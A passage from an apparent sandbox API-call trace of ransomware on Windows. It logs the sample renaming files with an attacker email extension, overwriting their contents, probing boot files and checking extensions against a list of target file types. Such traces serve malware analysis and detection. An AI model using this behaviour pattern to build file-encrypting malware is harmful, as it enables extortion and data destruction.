"c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0139.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0139.501] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc64 | out: lpNewFilePointer=0x0) returned 1 [0139.501] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.501] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d0fc30, lpOverlapped=0x0 | out: lpBuffer=0x38ca058*, lpNumberOfBytesRead=0x2d0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0139.619] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.619] ReadFile (in: hFile=0x10a8, lpBuffer=0x390a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d0fc30, lpOverlapped=0x0 | out: lpBuffer=0x390a058*, lpNumberOfBytesRead=0x2d0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0139.906] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.906] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.906] ReadFile (in: hFile=0x10a8, lpBuffer=0x394a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d0fc30, lpOverlapped=0x0 | out: lpBuffer=0x394a058*, lpNumberOfBytesRead=0x2d0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0140.013] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.013] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2d0fca8, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0140.055] SetEndOfFile (hFile=0x10a8) returned 1 [0140.315] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3e780e0 [0140.315] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.315] WriteFile (in: hFile=0x10a8, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2d0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.317] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.317] WriteFile (in: hFile=0x10a8, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2d0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.319] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.319] WriteFile (in: hFile=0x10a8, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2d0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.321] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e780e0 | out: hHeap=0x5a0000) returned 1 [0140.321] CloseHandle (hObject=0x10a8) returned 1 [0141.312] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0141.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.312] lstrlenW (lpString=".doc") returned 4 [0141.312] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.312] lstrlenW (lpString=".docx") returned 5 [0141.312] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.312] lstrlenW (lpString=".pdf") returned 4 [0141.312] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.313] lstrlenW (lpString=".xls") returned 4 [0141.313] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.313] lstrlenW (lpString=".xlsx") returned 5 [0141.313] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.313] lstrlenW (lpString=".ppt") returned 4 [0141.313] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.313] lstrlenW (lpString=".zip") returned 4 [0141.313] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.313] lstrlenW (lpString=".rar") returned 4 [0141.313] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.313] lstrlenW (lpString=".bz2") returned 4 [0141.313] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.313] lstrlenW (lpString=".7z") returned 3 [0141.313] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.313] lstrlenW (lpString=".dbf") returned 4 [0141.313] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.314] lstrlenW (lpString=".1cd") returned 4 [0141.314] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.314] lstrlenW (lpString=".jpg") returned 4 [0141.314] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.314] lstrlenW (lpString=".doc") returned 4 [0141.314] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.314] lstrlenW (lpString=".docx") returned 5 [0141.314] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.315] lstrlenW (lpString=".pdf") returned 4 [0141.315] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.315] lstrlenW (lpString=".xls") returned 4 [0141.315] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.315] lstrlenW (lpString=".xlsx") returned 5 [0141.315] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.315] lstrlenW (lpString=".ppt") returned 4 [0141.315] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.315] lstrlenW (lpString=".zip") returned 4 [0141.315] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.315] lstrlenW (lpString=".rar") returned 4 [0141.315] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.315] lstrlenW (lpString=".bz2") returned 4 [0141.315] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.315] lstrlenW (lpString=".7z") returned 3 [0141.315] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.315] lstrlenW (lpString=".dbf") returned 4 [0141.315] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.315] lstrlenW (lpString=".1cd") returned 4 [0141.315] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0141.315] lstrlenW (lpString=".jpg") returned 4 [0141.315] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.316] lstrlenW (lpString="BCD") returned 3 [0141.316] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.317] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.317] lstrlenW (lpString=".doc") returned 4 [0141.317] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0141.317] lstrlenW (lpString=".docx") returned 5 [0141.317] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0141.318] lstrlenW (lpString=".pdf") returned 4 [0141.318] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString=".xls") returned 4 [0141.318] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString=".xlsx") returned 5 [0141.318] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0141.318] lstrlenW (lpString=".ppt") returned 4 [0141.318] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.318] lstrlenW (lpString=".zip") returned 4 [0141.318] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString=".rar") returned 4 [0141.318] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString=".bz2") returned 4 [0141.318] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString=".7z") returned 3 [0141.318] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0141.318] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.318] lstrlenW (lpString=".dbf") returned 4 [0141.318] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.318] lstrlenW (lpString=".1cd") returned 4 [0141.318] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.318] lstrlenW (lpString=".jpg") returned 4 [0141.318] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0141.318] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.318] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.319] lstrlenW (lpString=".doc") returned 4 [0141.319] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0141.319] lstrlenW (lpString=".docx") returned 5 [0141.319] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0141.319] lstrlenW (lpString=".pdf") returned 4 [0141.319] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0141.319] lstrlenW (lpString=".xls") returned 4 [0141.319] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0141.319] lstrlenW (lpString=".xlsx") returned 5 [0141.319] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0141.319] lstrlenW (lpString=".ppt") returned 4 [0141.319] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0141.319] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.319] lstrlenW (lpString=".zip") returned 4 [0141.319] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0141.319] lstrlenW (lpString=".rar") returned 4 [0141.319] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0141.319] lstrlenW (lpString=".bz2") returned 4 [0141.319] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0141.319] lstrlenW (lpString=".7z") returned 3 [0141.319] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0141.319] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.320] lstrlenW (lpString=".dbf") returned 4 [0141.320] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0141.320] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.320] lstrlenW (lpString=".1cd") returned 4 [0141.320] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0141.320] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0141.320] lstrlenW (lpString=".jpg") returned 4 [0141.320] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0141.320] lstrcmpiW (lpString1=".LOG1", lpString2=".com") returned 1 [0141.320] lstrlenW (lpString="BCD.LOG1") returned 8 [0141.320] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0141.321] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=0) returned 1 [0141.321] CloseHandle (hObject=0x10a8) returned 1 [0141.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.321] lstrlenW (lpString=".doc") returned 4 [0141.321] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0141.321] lstrlenW (lpString=".docx") returned 5 [0141.321] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0141.321] lstrlenW (lpString=".pdf") returned 4 [0141.321] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0141.321] lstrlenW (lpString=".xls") returned 4 [0141.321] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0141.321] lstrlenW (lpString=".xlsx") returned 5 [0141.321] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0141.321] lstrlenW (lpString=".ppt") returned 4 [0141.321] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0141.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.321] lstrlenW (lpString=".zip") returned 4 [0141.321] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0141.321] lstrlenW (lpString=".rar") returned 4 [0141.321] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0141.321] lstrlenW (lpString=".bz2") returned 4 [0141.321] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0141.321] lstrlenW (lpString=".7z") returned 3 [0141.322] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0141.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.322] lstrlenW (lpString=".dbf") returned 4 [0141.322] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0141.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.322] lstrlenW (lpString=".1cd") returned 4 [0141.322] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0141.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.322] lstrlenW (lpString=".jpg") returned 4 [0141.322] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0141.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.323] lstrlenW (lpString=".doc") returned 4 [0141.323] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString=".docx") returned 5 [0141.323] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0141.323] lstrlenW (lpString=".pdf") returned 4 [0141.323] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString=".xls") returned 4 [0141.323] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString=".xlsx") returned 5 [0141.323] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0141.323] lstrlenW (lpString=".ppt") returned 4 [0141.323] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.323] lstrlenW (lpString=".zip") returned 4 [0141.323] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString=".rar") returned 4 [0141.323] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString=".bz2") returned 4 [0141.323] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString=".7z") returned 3 [0141.323] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0141.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.323] lstrlenW (lpString=".dbf") returned 4 [0141.323] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.323] lstrlenW (lpString=".1cd") returned 4 [0141.323] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0141.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0141.323] lstrlenW (lpString=".jpg") returned 4 [0141.324] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0141.324] lstrcmpiW (lpString1=".LOG2", lpString2=".com") returned 1 [0141.324] lstrlenW (lpString="BCD.LOG2") returned 8 [0141.324] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0141.324] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=0) returned 1 [0141.324] CloseHandle (hObject=0x10a8) returned 1 [0141.324] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.324] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.324] lstrlenW (lpString=".doc") returned 4 [0141.324] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0141.324] lstrlenW (lpString=".docx") returned 5 [0141.325] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0141.325] lstrlenW (lpString=".pdf") returned 4 [0141.325] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString=".xls") returned 4 [0141.325] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString=".xlsx") returned 5 [0141.325] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0141.325] lstrlenW (lpString=".ppt") returned 4 [0141.325] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.325] lstrlenW (lpString=".zip") returned 4 [0141.325] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString=".rar") returned 4 [0141.325] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString=".bz2") returned 4 [0141.325] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString=".7z") returned 3 [0141.325] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0141.325] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.325] lstrlenW (lpString=".dbf") returned 4 [0141.325] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.325] lstrlenW (lpString=".1cd") returned 4 [0141.325] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.325] lstrlenW (lpString=".jpg") returned 4 [0141.325] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0141.325] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.326] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.326] lstrlenW (lpString=".doc") returned 4 [0141.326] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0141.326] lstrlenW (lpString=".docx") returned 5 [0141.326] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0141.326] lstrlenW (lpString=".pdf") returned 4 [0141.326] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0141.326] lstrlenW (lpString=".xls") returned 4 [0141.326] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0141.326] lstrlenW (lpString=".xlsx") returned 5 [0141.326] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0141.326] lstrlenW (lpString=".ppt") returned 4 [0141.326] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0141.326] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.326] lstrlenW (lpString=".zip") returned 4 [0141.326] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0141.326] lstrlenW (lpString=".rar") returned 4 [0141.326] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0141.327] lstrlenW (lpString=".bz2") returned 4 [0141.328] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0141.328] lstrlenW (lpString=".7z") returned 3 [0141.328] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0141.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.328] lstrlenW (lpString=".dbf") returned 4 [0141.328] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0141.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.328] lstrlenW (lpString=".1cd") returned 4 [0141.328] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0141.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0141.328] lstrlenW (lpString=".jpg") returned 4 [0141.328] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0141.328] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0141.328] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0141.328] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0141.328] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=77664) returned 1 [0141.329] CloseHandle (hObject=0x10a8) returned 1 [0141.329] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0141.329] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0141.338] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.338] lstrlenW (lpString=".doc") returned 4 [0141.338] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0141.338] lstrlenW (lpString=".docx") returned 5 [0141.338] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0141.338] lstrlenW (lpString=".pdf") returned 4 [0141.338] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0141.338] lstrlenW (lpString=".xls") returned 4 [0141.338] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0141.338] lstrlenW (lpString=".xlsx") returned 5 [0141.338] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0141.338] lstrlenW (lpString=".ppt") returned 4 [0141.338] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0141.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.338] lstrlenW (lpString=".zip") returned 4 [0141.338] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0141.338] lstrlenW (lpString=".rar") returned 4 [0141.338] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0141.339] lstrlenW (lpString=".bz2") returned 4 [0141.339] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0141.339] lstrlenW (lpString=".7z") returned 3 [0141.339] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0141.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.339] lstrlenW (lpString=".dbf") returned 4 [0141.339] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0141.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.339] lstrlenW (lpString=".1cd") returned 4 [0141.339] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0141.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.339] lstrlenW (lpString=".jpg") returned 4 [0141.339] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0141.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.339] lstrlenW (lpString=".doc") returned 4 [0141.339] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0141.339] lstrlenW (lpString=".docx") returned 5 [0141.339] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0141.339] lstrlenW (lpString=".pdf") returned 4 [0141.339] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0141.339] lstrlenW (lpString=".xls") returned 4 [0141.339] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0141.340] lstrlenW (lpString=".xlsx") returned 5 [0141.340] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0141.340] lstrlenW (lpString=".ppt") returned 4 [0141.340] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0141.340] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.340] lstrlenW (lpString=".zip") returned 4 [0141.340] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 